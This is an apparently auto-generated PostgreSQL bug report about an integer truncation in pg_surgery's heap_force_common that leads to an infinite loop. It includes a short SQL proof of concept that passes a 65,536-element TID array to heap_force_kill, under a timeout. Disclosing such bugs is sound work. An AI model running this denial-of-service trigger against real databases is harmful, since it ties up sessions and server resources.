Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Subject: BUG #19607: Bug 18: `pg_surgery` infinite loop in `heap_force_common`
To: pgsql-bugs@lists.postgresql.org
From: PG Bug reporting form <noreply@postgresql.org>
Cc: 1217816127@qq.com
Reply-To: 1217816127@qq.com, pgsql-bugs@lists.postgresql.org
Date: Mon, 03 Aug 2026 08:40:59 +0000
Message-ID: <19607-2f256a66481c514b@postgresql.org>
Auto-Submitted: auto-generated
Archived-At: 
 <https://www.postgresql.org/message-id/19607-2f256a66481c514b%40postgresql.org>
Precedence: bulk

The following bug has been logged on the website:

Bug reference:      19607
Logged by:          Yuelin Wang
Email address:      1217816127@qq.com
PostgreSQL version: 19beta2
Operating system:   Linux (Ubuntu 24.04, x86_64)
Description:       =20

### Summary

In `contrib/pg_surgery/heap_surgery.c`, a huge TID array can truncate an
index into `OffsetNumber`. The loop no longer reaches its end condition and
the statement keeps running until cancellation. This is a SQL reachable
denial of service when `pg_surgery` is installed.

### PoC

SQL script:

```sql
CREATE EXTENSION IF NOT EXISTS pg_surgery;

CREATE TABLE vuln_surgery_loop(a int);
INSERT INTO vuln_surgery_loop
SELECT g FROM generate_series(1, 300) AS g;

SET statement_timeout =3D '15s';

SELECT heap_force_kill(
    'vuln_surgery_loop'::regclass,
    ARRAY(
        SELECT '(0,1)'::tid
        FROM generate_series(1, 65536)
    )
);

RESET statement_timeout;
```

### Result

The call remains active until `statement_timeout`. A finite array pass of
this size should complete quickly, so the timeout confirms the integer
truncation induced infinite loop.